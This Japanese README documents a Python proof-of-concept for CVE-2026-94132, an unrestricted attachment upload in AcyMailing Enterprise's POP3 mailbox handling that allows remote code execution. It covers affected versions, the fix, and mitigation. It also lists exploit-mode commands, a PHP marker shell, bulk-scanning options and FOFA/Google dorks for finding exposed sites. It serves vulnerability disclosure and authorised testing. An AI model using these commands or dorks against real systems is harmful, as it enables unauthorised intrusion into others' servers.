CVE-2026-94132 — AcyMailing Enterprise メールボックス RCE

CVE-2026-94132 の Python 3 PoC — Joomla 用 AcyMailing Enterprise（acymailing.com）。

説明 (PoCbit / GitHub)

CVE-2026-94132 — AcyMailing Enterprise < 11.1.0（11.0.5 まで）：POP3 モードのメールボックスアクションが、受信した MIME 添付ファイルを適切な拡張子チェックなしで media/com_acym/upload/ に保存します。監視対象のメールボックスにメールを送信できる者なら誰でも、.php（または類似の拡張子）をウェブルート配下に配置し、RCE を達成できます（CWE-434）。CVSS 4.0 9.5 Critical（AT:P — 監視対象メールボックスへのアクセスが必要）。修正: 11.1.0（パッチ適用まで IMAP に切り替えるか、脆弱な POP3 添付ファイル処理を無効化してください）。

PoC ページ: https://pocbit.org/pocs/cve-2026-94132

PoCbit

カタログ: https://pocbit.org/pocs/

製品	Joomla 用 AcyMailing Enterprise
コンポーネント	com_acym
影響を受けるバージョン	1.0.0 – 11.0.5
修正済み	11.1.0
書き込みパス	/media/com_acym/upload/
前提条件	攻撃者が AcyMailing の POP3 監視受信トレイにメールを送信できること
割り当て者	Joomla CNA

この PoC はメールを送信しません（許可されたメールボックスのテスト専用）。AcyMailing/バージョンを検出し、アップロードディレクトリをプローブし、テスト用添付ファイルを配信した後にシェル URL を検証します。

使用方法

pip install -r requirements.txt

python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --scan-uploads
python poc.py -u https://joomla.example --mode exploit --scan-uploads --shell-name pocbit_94132.php
python poc.py -u https://joomla.example --mode exploit --verify-url https://joomla.example/media/com_acym/upload/pocbit_94132.php
python poc.py --list targets.example.txt --mode check -j 10 --scan-uploads

ラボでのエクスプロイト手順: pocbit_94132.php（<?php echo 'POCBIT-94132-OK'; ?>）をサイトの AcyMailing メールボックスにメール送信 → --mode exploit --verify-url ... を実行。

FOFA / Google

body="media/com_acym"
body="com_acym"
inurl:"option=com_acym"

GitHub About (EN)

Joomla 用 AcyMailing Enterprise < 11.1.0：POP3 メールボックスアクションが検証されていない MIME 添付ファイルを media/com_acym/upload/ に書き込む → 監視対象の受信トレイにメールを送信できれば RCE（CVE-2026-94132）。Python のチェック/エクスプロイト PoC — PoCbit。

概要 (TR)

CVE-2026-94132: AcyMailing Enterprise ≤ 11.0.5 — POP3 メールボックスに届いた添付ファイルが拡張子チェックなしで media/com_acym/upload/ 配下に書き込まれます。監視対象のメールボックスにメールを送信できる攻撃者は PHP/RCE を取得できる可能性があります。11.1.0 にアップグレードするか、IMAP に切り替えてください。

法的注意

許可されたテスト専用です。メールボックス配信テストは、自身が所有するか使用許可を得た受信トレイのみを使用してください。